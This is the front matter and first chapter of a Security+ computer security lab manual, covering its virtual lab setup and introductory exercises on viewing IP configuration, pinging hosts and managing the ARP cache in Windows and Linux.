Lab 10.1w: Live Analysis: Incident Determination in Windows . . . . . . . . . . . . . . . . . . . . . . . . . 304
Lab 10.1 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 308
Lab 10.1 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 308
Lab 10.2: Acquiring the Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 309
Lab 10.2w: Acquiring the Data in Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 310
Lab 10.2 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 313
Lab 10.2 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 313
Lab 10.3: Forensic Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 314
Lab 10.3w: Forensic Analysis in Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 315
Lab 10.3 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 318
Lab 10.3 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 318
Index . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 321
FM.indd 13 11/18/10 2:17:10 PM
This page intentionally left blank
xv
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / FM/
Acknowledgments
I would like to give a special thanks to Brian Hay and Kara Nance of the University of Alaska Fairbanks for their support and for the use of the ASSERT labs for the testing and development of this manual.
Their generosity in time and expertise is appreciated more than words can express.
—Vincent Nestler
Peer Reviewers Thank you to the reviewers, past and present, who contributed insightful reviews, criticisms, and help-
ful suggestions that continue to shape this textbook.
Brady Bloxham, MBA, CISSP, Independent Security Contractor•
Jacob R. Groth, MBA, CISSP•
Anthony Hendricks, MBA, CISSP•
Bryce Kunz, MBA, CISSP•
Scott Lyons, M.S, Security +, Forensic and Incident Response Investigator•
Dee Mike, Research Associate at the National Information Assurance Training and Education • Center
Casey O’Brien, M.A., CISSP, Director, Community College of Baltimore County (CCBC) Institute • for Cyber Security, and Co-Director, Cyberwatch Center
Brad Poulton, MBA, SSCP, Research Associate at the National Information Assurance Training • and Education Center
Lab Testers Thank you to the lab testers who worked tirelessly to ensure the integrity of the book in the final hours.
Jeremy Hedges
Marc Fruchtbaum
Charles Eakle
Andrew Dorsey
FM.indd 15 11/18/10 2:17:11 PM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / FM/
xvi
Introduction
I hear and I forget.
I see and I remember.
I do and I understand.
—Confucius
The success of a learning endeavor rests on several factors, including the complexity of the material and the level of direct involvement on the part of the student. It takes more than passive attendance at
a lecture to learn most complex subjects. To truly learn and understand all of the elements of a complex
issue requires exploration that comes from more intimate involvement with the material.
Computer security is a complex subject with many composite domains, overlapping principles, and
highly specific, detailed technical aspects. Developing skilled professionals in computer security requires
that several components be addressed, namely technical and principle-based knowledge, coupled with
practical experience using that knowledge in operational situations. This book is designed to assist in
simulating the practical experience portion of the knowledge base of computer security.
This book is not a standalone reference designed to cover all aspects of computer security. It is
designed to act together with a principles-based text, such as McGraw-Hill’s Principles of Computer Security:
CompTIA Security+™ and Beyond, Second Edition. Together in a well-balanced curriculum they provide a foun-
dation for understanding basic computer security concepts and skills.
Pedagogical Design This book is laid out in four sections, each corresponding to a question associated with networks and com-
puter security. These questions act as a structured framework designed to build upon each previous section
as we strive to develop a hands-on understanding of computer security principles. The questions are
How does the system work?•
How is the system vulnerable and what are the threats?•
How do we prevent harm to the system?•
How do we detect and respond to attacks on the system?•
These four questions build upon one another. First, it is important to understand how a system
works before we can see the vulnerabilities that it has. After studying the vulnerabilities and the
threats that act upon them, we must look to the methods for preventing harm to the system. Lastly,
even in the most secure environments, we must prepare for the worst and ask how we can detect and
respond to attacks.
FM.indd 16 11/18/10 2:17:11 PM
xvii
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / FM/
Introduction
Lab Exercise Design This lab book is specifically designed to allow flexibility on the part of instructors. There is flexibility
in regard to equipment and setup, as the labs can be performed on a Windows, Linux, or Mac platform
with the use of virtual machines. There is flexibility in regard to equipment quantity, as both stand-
alone networks and virtual networks can be employed. Lastly, there is flexibility in lab selection, as it
is not expected that every lab will be employed, but rather that appropriate labs may be selected to sup-
port specific concepts in the principles portion of coursework.
The lab exercises are designed to teach skills and concepts in computer and network security. There
are several features of each lab that allow for flexibility while not losing focus on important concepts.
These features are described next.
Labs Written for Windows and Linux Many lab exercises are written for both Windows and Linux operating systems. This not only allows the
students to work in the operating system with which they are familiar, but can serve to bridge the gap
between understanding how each operating system works.
Each Lab Exercise Stands Alone While the labs build upon one another in terms of content and skills covered, they stand alone with
respect to configuration and settings. This allows for maximum flexibility in relation to the sequence
and repetition of labs.
Labs Are Presented in Progressive Sequence While the lab manual is broken down into four sections, each section is further broken down into chap-
ters that divide the content into logical groupings. This will help the student who is new to network
security to develop knowledge and awareness of the skills and concepts in a progressive manner.
Labs Can Be Done in Sequence by Topic Not only are the lab exercises grouped by content according to the four questions, but references to later
lab exercises that relate to the current one are included. For example, you may want to perform the lab
exercises pertaining to e-mail. You could do the E-Mail Protocols lab from Part I, which demonstrates the
use of e-mail; the E-Mail System Exploits lab from Part II, which demonstrates a vulnerability of e-mail;
the Using GPG to Encrypt and Sign E-Mail lab from Part III, which demonstrates encrypted e-mail; and
the System Log File Analysis lab from Part IV, which can be used to reveal attacks on an e-mail server.
Most Lab Exercises Have Suggestions for Further Study At the end of most labs there are suggestions for further investigation. These sections point the student in
the right direction to discover more about the subject covered in the lab. For the student who is advanced
FM.indd 17 11/18/10 2:17:11 PM
xviii
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / FM/
Introduction
and completes labs ahead of time, these suggested labs offer a challenge, though they need not be required
for other students.
The Use of Virtual Machines While all the labs can be performed on computers that are configured per the instructions at the accom-
panying web site, it is highly recommended that the labs be performed on virtual machines such as
VMware, Microsoft Virtual PC, Parallels, or other virtualization software. There are several advantages
to using virtual machines:
easy deployment• Once the virtual machines are created, they can be copied to all the lab computers.
Can be done on PC, linux, or Mac platform• As long as you meet the minimum resource and software requirements, the labs can be done on a PC, Linux, or Mac platform.
one student, one PC, multiple machines • If you use physical PCs to set up the lab, it will require at a minimum 3 PCs to create the network necessary to complete all the labs. This
means that in a classroom of 30 computers, only 10 lab exercises can be worked on at one time.
By using virtual machines, all 30 computers can be used running 30 lab exercises at a time.
labs are portable—laptops• The use of virtual machines gives you the added benefit of having a network security lab on your laptop. This means that the student does not necessarily have
to go to the lab to do the exercises; he can take the lab with him wherever he goes.
easy rollback• When properly configured, at the end of each lab exercise there is no need to uninstall or re-image computers. All that is needed is to exit the virtual machine without saving
the changes. If the virtual hard drive has been modified, copying the original file back is a simple
process.
unlimited potential for further experimentation• Unlike a simulation, each virtual machine is using the actual operating systems and, as such, can be used to develop new tech-
niques and/or test out other security concepts and software with relatively little difficulty.
Security Lab Setup All lab exercises have a letter designation of w, l, m, or i. The “w” labs are Windows-based exercises, “l”
labs are Linux-based exercises, and “m” labs are mixed Windows and Linux exercises. Labs with the w,
l, or m designation are intended to be performed on a closed network or virtual PC. The “i” labs are labs
that need to be performed on a computer with Internet access. See Figure 1.
the “w” labs• These labs involve a Windows XP Professional PC and a Windows 2003 Server PC. In general, the XP PC will be the attacker and the server will be the defender.
the “l” labs• These labs involve Unbuntu based distributions of versions of Linux. The BackTrack machine will be configured as a client and the Metasploitable machine will be configured as
a server. In general, the Linux client will be the attacker and the server will be the defender.
FM.indd 18 11/18/10 2:17:12 PM
xix
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / FM/
Introduction
the “m” labs• These labs involve a combination of Windows and Linux PCs. The Linux PC is used as an SSH and mail server.
the “i” labs• These labs involve a host PC that has Internet access. While most exercises are designed not to require Internet access, a few have been added to allow the student to do
research on various topics.
Note that all computers are configured with weak passwords intentionally. This is for ease of lab use
and to demonstrate the hazards of weak passwords. Creating and using more robust passwords is covered
in Part III.
Security Lab Requirements and Instructions Detailed requirements and instructions for the security lab setup can be found at the Online Learning
Center at www.securityplusolc.com. The requirements and instructions vary based upon the platform
and base OS you intend to use.
➜ Note
As many vendors improve their software, the versions used in this manual may no longer be available.
As such, a few lab exercises may not work exactly as written but should still work in general. Please
visit www.securityplusolc.com for updates and other information.
Figure 1 Lab setup diagram
Windows XP Pro 192.168.100.101
Windows 2003 Server 192.168.100.102
Back Track 4 192.168.100.201
Metasploitable (Ubuntu)
192.168.100.202
Host Computer
Internet Access “i” labs
Linux Setup “l” labs
Mixed Setup “m” labs
Windows Setup “w” labs
Domain–security local Network–182.168.100.0 Subnet Mask–255.255.255.0 DNS–192.168.100.202
FM.indd 19 11/18/10 2:17:15 PM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / FM/
xx
Additional Resources for Teachers
The solutions to the lab manual activities in this book are provided along with the resources for teachers using Principles of Computer Security: CompTIA Security+ and Beyond, Second Edition. The solutions files
are provided via an Online Learning Center (OLC) that follows the organization of the textbook. The Lab
Manual follows the best order of the lab-related material for CompTIA Security+.
For instructor and student resources, check out www.securityplusolc.com. Students using Principles
of Computer Security: CompTIA Security+ and Beyond, Second Edition will find chapter quizzes that will help you
learn more about CompTIA Security+, and teachers can access support materials.
FM.indd 20 11/18/10 2:17:16 PM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1 / Blind Folio 1
Networking Basics: How Do Networks Work?
Know thyself. —Oracle at Delphi
Securing a network can be a tricky business, and there are many issues to consider. We must be aware of the vulnerabilities
that exist, the threats that are probable, and the methods for
detecting attacks. In addition we must develop plans for dealing
with a possible compromise of our network. Yet before we can
really protect our network from attackers, we must first know
our network and, hopefully, know it better than they do. Hence
we need to learn about what the network does and how it does
it, and develop an understanding of our network’s abilities
and limitations. Only then can we truly see our network’s
vulnerabilities and do what is necessary to guard them. We
cannot secure our network if we do not know how it works.
Part I will present concepts demonstrating how devices
communicate on a local area connection, IP addressing, routing,
the three-way handshake, and some of the basic network
applications. It will also introduce tools that will be used
throughout the remainder of the book, such as ping, arp,
nslookup, and the protocol analyzer.
Part I
ch01.indd 1 11/16/10 6:16:35 PM
2
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 /
Part I: Networking Basics: How Do Networks Work?
This part is divided into three chapters that will discuss the different
aspects of the TCP/IP protocol stack. Chapter 1 will cover exercises
relating to the access and network layer; Chapter 2 will deal with the
transport layer; and Chapter 3 will discuss the application layer. As you
go through the labs in this section, you should be constantly asking
yourself one question: how is this network vulnerable to attack, and how
can it be exploited? It might seem strange to think about how something
can be broken when you are learning about how it works, but this is a
good opportunity for you to start thinking the way an attacker thinks.
This part will also prepare you for the labs that are to come in Part II.
ch01.indd 2 11/16/10 6:16:35 PM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1 / Blind Folio 3
Workstation Network Configuration and Connectivity
Labs Lab 1.1 Network Workstation Client Configuration•
Lab 1.1w Windows Client Configuration
Lab 1.1l Linux Client Configuration
Lab 1.1 Analysis Questions
Lab 1.1 Key Terms Quiz
Lab 1.2 Computer Name Resolution•
Lab 1.2w Name Resolution in Windows
Lab 1.2 Analysis Questions
Lab 1.2 Key Terms Quiz
Lab 1.3 IPv6 Basics•
Lab 1.3w Windows IPv6 Basics (netsh/ping6)
Lab 1.3 Analysis Questions
Lab 1.3 Key Terms Quiz
Chapter 1
ch01.indd 3 11/16/10 6:16:35 PM
Chapter 1: Workstation Network Configuration and Connectivity4
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
this chapter contains lab exercises designed to illustrate the various commands and methods used to establish workstation connectivity in
a network based on Transmission Control Protocol/Internet Protocol
(TCP/IP). The chapter covers the basics necessary to achieve and monitor
connectivity in a networking environment, using both Windows PCs and
Linux-based PCs. In this chapter, you will be introduced to some basic
commands and tools that will enable you to manipulate and monitor the
network settings on a workstation. This is necessary as a first step toward
learning how to secure connections.
The chapter consists of basic lab exercises, mostly short and quick,
that are designed to provide a basic foundation in network connectivity
and tools. In later chapters of this book, you will use the skills from these
lab exercises to perform functions that are necessary to secure a network
from attack and investigate current conditions. Built upon the premise
that one learns to crawl before walking, and walk before running, this
chapter represents the crawling stage. Although basic in nature, this
chapter is important because it provides the skills needed to “walk” and
“run” in later stages of development.
Depending on your lab setup and other factors, you won’t necessarily
be performing all the lab exercises presented in this book. Therefore,
to help you identify which lab exercises are relevant for you, each lab
exercise number is appended with a letter: “w” labs are built using the
Windows environment; “l” labs are built using the Linux environment;
“m” labs are built using a combination of Windows and Linux; and “i”
labs require an Internet connection.
➜ Note
Instructions for setting up all environments used in this chapter can be found on the book’s
companion online learning center at www.securityplusolc.com.
ch01.indd 4 11/16/10 6:16:35 PM
Lab 1.1: Network Workstation Client Configuration 5
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
Lab 1.1: Network Workstation Client Configuration In order for two computers to communicate in a TCP/IPv4 network (IPv6 is discussed later, in Lab 1.3),
both computers must have a unique Internet Protocol (IP) address. An IP address has four octets. The
IP address is divided into a network address and a host address. The subnet mask identifies which
portion of the IP address is the network address and which portion is the host address. On a local area
network (LAN), each computer must have the same network address and a different host address. To
communicate outside the LAN, using different network IP addresses, the use of a default gateway is
required. To connect to a TCP/IP network, normally four items are configured: the IP address (this is
both the network portion and the host portion), the subnet mask, the IP address for a Domain Name
System (DNS) server, and the IP address for the gateway machine. To communicate only within a LAN,
you need only the IP address and subnet mask. To communicate with other networks, you need the
default gateway. If you want to be able to connect to different sites and networks using their domain
names, then you need to have the address of a DNS server as well.
When communicating between machines on different networks, packets are sent via the default
gateway on the way into and out of the LAN. The routing is done using (Layer 3) IP addresses. If the
computer is on the same network, then the IP address gets resolved to a (Layer 2) Media Access Control
(MAC) address to communicate with the computer. MAC addresses are hard-coded onto the network card
by the company that made the card.
The ability to retrieve and change your IP configuration is an important skill. In this lab, you will
use the ipconfig command in Windows and the ifconfig command in Linux to view the configuration
information. You will then use the Local Area Connection Properties window to change the IP address in
Windows and use ifconfig to change the IP address in Linux.
Computers use both MAC and IP addresses to communicate with one another across networks. In
this lab, two computers will “talk” to each other via ping messages. You will then modify the Address
Resolution Protocol (ARP) table of one computer to demonstrate the relationship between the IP and
MAC addresses for a machine.
The ping (Packet Internet Groper) program is a basic utility that is used for testing the connectivity
between two computers. This message name was derived from the sound that sonar on a submarine
makes, and is used in a similar way. A “signal” or request is sent out to probe for the existence of the
target along a fixed “distance.” The distance between two computers can be measured using time to live
(TTL). Ping operates using Internet Control Message Protocol (ICMP) to test for connectivity; so in cases
where ICMP is restricted, the ping utility may not be useful. Ping is usually implemented using ICMP
echo messages, although other alternatives exist.
When you use the ping command in this lab, you will see that although you are using the IP address
as the target of the ping, it is actually the MAC address that is used to communicate with that computer.
IP addresses are used to transfer data from one network to another, whereas MAC addresses are used to
send information from one device to another on the same network. It is ARP that resolves IP addresses
to their associated MAC addresses. ARP is a Transmission Control Protocol/Internet Protocol (TCP/IP)
tool that is used to modify the ARP cache. The ARP cache contains recently resolved MAC addresses of IP
hosts on the network.
ch01.indd 5 11/16/10 6:16:36 PM
Chapter 1: Workstation Network Configuration and Connectivity6
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
As you progress through the labs, you will see how a computer obtains both MAC addresses and IP
addresses in order to communicate. The question you should be considering is “how does the computer
know that the information it is getting is correct?”
Learning Objectives After completing this lab, you will be able to
Retrieve IP address configuration information via the command line.•
List the switches that can be added to the ipconfig (Windows) or ifconfig (Linux) command to • increase its functionality.
Use the Windows graphical user interface (GUI) to configure a network card to use a given IP • address.
Determine your machine’s MAC address.•
Determine your machine’s assigned network resources, including its DNS address and gateway • address.
Use the ifconfig (Linux) command to configure a network card with a given IP address.•
Understand how to test network connectivity between two computers.•
List the options that can be added to the ping command to increase its functionality.•
Use the arp command to view and manage the ARP cache on a computer.•
S 10 minutes
Lab 1.1w: Windows Client Configuration
Materials and Setup You will need the following:
Windows XP Professional•
Windows 2003 Server•
Lab Steps at a Glance
Step 1: Start the Windows 2003 Server and Windows XP Professional PCs. Log on only to the
Windows XP machine.
Step 2: View the network card configuration using the ipconfig command.
ch01.indd 6 11/16/10 6:16:36 PM
Lab 1.1w: Windows Client Configuration 7
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
Step 3: Change the IP address of the Windows XP machine.
Step 4: Verify the new IP address. Use the ipconfig command to verify that the IP address has
changed.
Step 5: Change the IP address of the Windows XP machine back to the original address.
Step 6: Ping the Windows 2003 Server machine from the Windows XP PC.
Step 7: View and modify the ARP table.
Step 8: Log off from the Windows XP PC.
Lab Steps
Step 1: Start the Windows 2003 Server and Windows XP Professional PCs. Log on only to the
Windows XP machine.
To log on to the Windows XP PC:
1. At the Login screen, click the Admin icon.
2. In the password text box, type the password password and press enter.
Step 2: View the network card configuration using the ipconfig command.
On the Windows XP PC, you will view the network card configuration using ipconfig. This utility allows
administrators to view and modify network card settings.
1. To open the command prompt, choose Start | Run, type cmd in the Open field, and press enter.
2. At the command prompt, type ipconfig /? and press enter.
Observe the options available for ipconfig.a.
Which options do you think would be most useful for an administrator?b.
Which option would you use to obtain an IP configuration from a c. Dynamic Host Configuration Protocol (DHCP) server?
3. Type ipconfig and press enter, as shown in Figure 1-1.
What is your IP address?a.
What is your subnet mask?b.
4. Type ipconfig /all and press enter.
Observe the new information.a.
What is the MAC address of your computer?b.
What is your DNS server address?c.
5. Type exit and press enter.
ch01.indd 7 11/16/10 6:16:37 PM
Chapter 1: Workstation Network Configuration and Connectivity8
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
Step 3: Change the IP address of the Windows XP machine.
You will access the Local Area Connection Properties dialog box and change the host portion of the IP
address.
1. Click Start | Settings | Network Connections | Local Area Connection.
2. In the Local Area Connection Status window, click Properties.
3. Select Internet Protocol (TCP/IP) and click Properties.
4. In the IP Address text box, you will see the IP address 192.168.100.101, as shown in Figure 1-2. Change the last octet (101) to 110.
5. Click OK.
Figure 1-2 The Internet Protocol Properties window
Figure 1-1 The ipconfig command
ch01.indd 8 11/16/10 6:16:37 PM
Lab 1.1w: Windows Client Configuration 9
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
6. In the Local Area Connection Properties window, click OK.
7. Click Close to close the Local Area Connection Status window.
Step 4: Verify the new IP address. Use the ipconfig command to verify that the IP address
has changed.
1. Choose Start | Run, type cmd in the Open field, and press enter.
2. At the command line, type ipconfig \? and press enter.
What option would you use to get an IP address from a DHCP server?
3. Type ipconfig and press enter.
4. Observe that your IP address has changed.
5. Type exit and press enter.
Step 5: Change the IP address of the Windows XP machine back to the original address.
1. Click Start | Settings | Network Connections | Local Area Connection.
2. In the Local Area Connection Status window, click Properties.
3. Select Internet Protocol (TCP/IP) and click Properties.
4. In the IP Address text box, you will see the IP address 192.168.100.110. Change the last octet (110) to 101.
5. Click OK.
6. In the Local Area Connection Properties window, click OK.
7. Click Close to close the Local Area Connection Status window.
Step 6: Ping the Windows 2003 Server machine from the Windows XP PC.
1. On the Windows XP PC, choose Start | Run, type cmd in the Open field, and press enter.
2. To view the ping help file, type ping /? at the command line and then press enter.
3. To ping the IP address of the Windows 2003 Server computer, at the command line, type ping 192.168.100.102 and press enter, as shown in Figure 1-3.
Observe the information displayed.a.
What is the time value observed for all four replies?b.
What is the TTL observed?c.
What does this number refer to?d.
How can you be sure that this response is actually coming from the correct computer?e.
ch01.indd 9 11/16/10 6:16:37 PM
Chapter 1: Workstation Network Configuration and Connectivity10
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
Step 7: View and modify the ARP table.
At the Windows XP machine, you are now going to view the ARP cache, using the arp utility.
1. At the command line, type arp /? and press enter.
Observe the options for this command.a.
Which command displays the current ARP entries?b.
✔ Tip
When you need to type the same command several times with only slight changes, pressing
the up arrow key will show the previous command you just typed. You can then modify the
command easily with the new options.
2. At the command line, type arp –a and press enter.
3. Observe the entry. Notice that the MAC address for the Windows 2003 Server machine is listed.
4. At the command line, type arp –d and press enter. (The –d option deletes the ARP cache.)
5. Observe the entries. (Do not worry if no entries are listed; you are simply deleting what is in the ARP cache.)
6. At the command line, type arp –a and press enter, as shown in Figure 1-4.
7. Observe that the ARP cache now has no entries.
8. At the command line, type ping 192.168.100.102 and press enter.
Figure 1-3 The ping command in Windows
ch01.indd 10 11/16/10 6:16:38 PM
Lab 1.1l: Linux Client Configuration 11
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
9. At the command line, type arp –a and press enter.
Observe any entry. Notice that the MAC address is once again listed.a.
How does using the ping utility cause the machine’s MAC address to be populated in the b. ARP cache? (This is explored in “Lab 2.1, Network Communication Analysis,” in Chapter 2.)
How can you be sure that this is actually the correct MAC address for the computer?c.
Step 8: Log off from the Windows XP PC.
At the Windows XP PC:
1. Choose Start | Log Off.
2. In the Log Off Windows dialog box, click Log Off.
S 10 minutes
Lab 1.1l: Linux Client Configuration
Materials and Setup You will need the following:
BackTrack•
Metasploitable•
Figure 1-4 The arp command in Windows
ch01.indd 11 11/16/10 6:16:38 PM
Chapter 1: Workstation Network Configuration and Connectivity12
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
Lab Steps at a Glance
Step 1: Start the BackTrack and Metasploitable PCs. Only log on to the BackTrack PC.
Step 2: View the network card configuration using ifconfig.
Step 3: Use the cat command to view the file resolv.conf to determine the DNS address.
Step 4: Use the netstat –nr command to determine the gateway router address.
Step 5: Use the ifconfig command to change the network configuration for a machine.
Step 6: View the ARP table.
Step 7: Ping the Metasploitable machine by IP address and view the cache.
Step 8: Modify the ARP cache and view the ARP cache again.
Step 9: Log off from the BackTrack PC.
Lab Steps
Step 1: Start the BackTrack and Metasploitable PCs. Only log on to the BackTrack PC.
To log on to the BackTrack PC:
1. At the login prompt, type root and press enter.
2. At the password prompt, type toor and press enter.
➜ Note
You will not see any characters as you type the password.
Step 2: View the network card configuration using ifconfig.
1. At the command line, type ifconfig –h and press enter. (The information may scroll off the screen. To see the text, hold the shift key down and press pageup.)
2. Observe how this command was used.
✔ Tip
For many commands in Linux, you can type the command and the –h option (help) to get
information about the command. To get more detailed information, you can use the manual
command by typing man and pressing enter. To get out of the man program, type q.
ch01.indd 12 11/16/10 6:16:38 PM
Lab 1.1l: Linux Client Configuration 13
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
Let us examine how we can utilize this command:
3. At the command line, type man ifconfig and press enter.
4. Use the up and down arrow keys to scroll through the man page.
5. When you are done looking at the man page, press q to exit.
✔ Tip
When you need to type the same command several times with only slight changes, pressing
the up arrow key will show the previous command you just typed. You can then modify the
command easily with the new options.
6. At the command line, type ifconfig and press enter.
Observe the information displayed.a.
How does Linux refer to the IP address? What is your IP address?b.
How does Linux refer to the subnet mask? What is your subnet mask?c.
Step 3: Use the cat command to view the file resolv.conf to determine the DNS address.
At the command line, type cat /etc/resolv.conf and press enter.
Observe the information displayed.a.
What is your DNS server (Domain Name Service) address?b.
Step 4: Use the netstat –nr command to determine the gateway router address.
At the command line, type netstat –nr and press enter.
Observe the information displayed.a.
Note that a default gateway is not configured.b.
Step 5: Use the ifconfig command to change the network configuration for a machine.
1. At the command line, type ifconfig eth0 192.168.100.210 and press enter.
2. At the command line, type ifconfig and press enter.
Did your IP address change?
ch01.indd 13 11/16/10 6:16:39 PM
Chapter 1: Workstation Network Configuration and Connectivity14
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
3. At the command line, type ifconfig eth0 192.168.100.201 and press enter.
4. At the command line, type ifconfig and press enter.
Did your IP address change?a.
What did you just do?b.
Step 6: View the ARP table.
Working at the BackTrack machine, you are now going to view the ARP table, using the arp utility.
1. At the command line, type arp –h and press enter.
2. Observe the options for this command.
3. At the command line, type arp –an and press enter.
What do the options a and n do?a.
Do you have any entries?b.
Step 7: Ping the Metasploitable machine by IP address and view the cache.
From the BackTrack PC, you are going to use the ping utility to communicate with the Metasploitable
server machine.
1. At the command line, type ping 192.168.100.202 and press enter.
Notice that the ping replies will continue until you stop them. Press a. ctrl-c to stop the replies, as shown in Figure 1-5.
Observe the information displayed.b.
What is c. icmp_seq?
Notice the time the first reply took compared with the rest of the replies. Was there a d. significant difference? If so, why?
How can you be sure that this response is actually coming from the correct computer?e.
2. At the command line, type arp –an and press enter.
3. Observe the entry. Notice that the MAC address for the Metasploitable machine is listed.
Step 8: Modify the ARP cache and view the ARP cache again.
1. At the command line, type arp –d 192.168.100.202 and press enter.
2. Observe the entries. (If you do not see an entry, do not worry; we are simply deleting what is in the ARP cache.)
ch01.indd 14 11/16/10 6:16:39 PM
Lab 1.1l: Linux Client Configuration 15
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
3. At the command line, type arp –an and press enter, as shown in Figure 1-6.
4. Observe that the ARP cache now has no MAC addresses.
5. At the command line, type ping 192.168.100.202 and press enter. Press ctrl-c to stop the replies.
6. At the command line, type arp –an and press enter.
Observe the entry. Notice that the MAC address is once again listed.a.
How does pinging the machine cause its MAC address to be populated in the ARP cache? b. (This is explored in “Lab 2.1, Network Communication Analysis,” in the next chapter.)
How can you be sure that this is actually the correct MAC address for the computer?c.
Step 9: Log off from the BackTrack PC.
At the command line, type exit and press enter.
Figure 1-6 The arp command in Linux
Figure 1-5 The ping command in Linux
ch01.indd 15 11/16/10 6:16:40 PM
Chapter 1: Workstation Network Configuration and Connectivity16
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
➜ Note
The ARP protocol and implementation is based on a simple trusting characteristic. This aids
in the implementation but adds a problematic weakness: ARP is totally trusting and believes
everything even if it never requested it.
Lab 1.1 Analysis Questions The following questions apply to the labs in this section:
1. You have been called in to troubleshoot a client’s computer, which is unable to connect to the local area network. What command would you use to check the configuration? What
information would you look for?
2. You have been called in to troubleshoot a client’s computer, which is able to connect to the local area network but unable to connect to any other network. What command would you use
to check the configuration? What information would you look for?
3. If you needed to obtain a user’s MAC address as well as the user’s network configuration information, what command and switch would you enter?
4. To use the Windows GUI utility to adjust IP settings, including DNS and gateway information, where would you locate the utility?
5. You have just pinged a remote computer. You would now like to retrieve the MAC address of the remote computer locally. How would you obtain the remote computer’s MAC address?
6. You are about to run some network traffic analysis tests. You need to clear your ARP cache. How would you go about performing this task?
7. What information does ping return to the user?
8. How does a computer ensure that the replies it gets from an ARP broadcast are correct?
ch01.indd 16 11/16/10 6:16:40 PM
Lab 1.1l: Linux Client Configuration 17
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
Lab 1.1 Key Terms Quiz Use these key terms from the labs to complete the sentences that follow:
Address Resolution Protocol (ARP)
ARP cache
cat
Domain Name System (DNS)
Dynamic Host Configuration Protocol (DHCP)
gateway
host address
ifconfig
Internet Control Message Protocol (ICMP)
Internet Protocol (IP)
ipconfig
Media Access Control (MAC) address
network address
ping (Packet Internet Groper)
resolv.conf
subnet mask
time to live (TTL)
Transmission Control Protocol/Internet Protocol (TCP/IP)
1. The letters IP stand for ____________________.
2. The ___________________________ is the physical address of your network interface card that was assigned by the company that made the card.
3. ipconfig /renew will renew an IP address obtained from the ____________________ server.
4. The four items needed to connect a machine to the Internet are the ________________ address, the ______________ address, the _______________, and the _______________
address.
5. The _________________ is used to separate the host address and network address from an IP address.
6. ___________________ is the file that contains DNS server addresses in Linux.
7. The ________________ command is used to display the contents of text files in Linux.
8. The command used in this lab to test network connectivity is _______________________.
ch01.indd 17 11/16/10 6:16:40 PM
Chapter 1: Workstation Network Configuration and Connectivity18
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
Follow-Up Labs Lab 1.2: Computer Name Resolution• Now that you know how IP addresses resolve to MAC addresses, find out how computer and domain names are resolved.
Lab 1.3: IPv6 Basics• IPv6 is the next generation of addressing and will be implemented in the not too distant future.
Lab 4.1: IP Address and Port Scanning, Service Identity Determination• Nmap uses ARP in a ping sweep to discover devices on a network.
Lab 6.2: Man-in-the-Middle Attack• This attack exploits ARP.
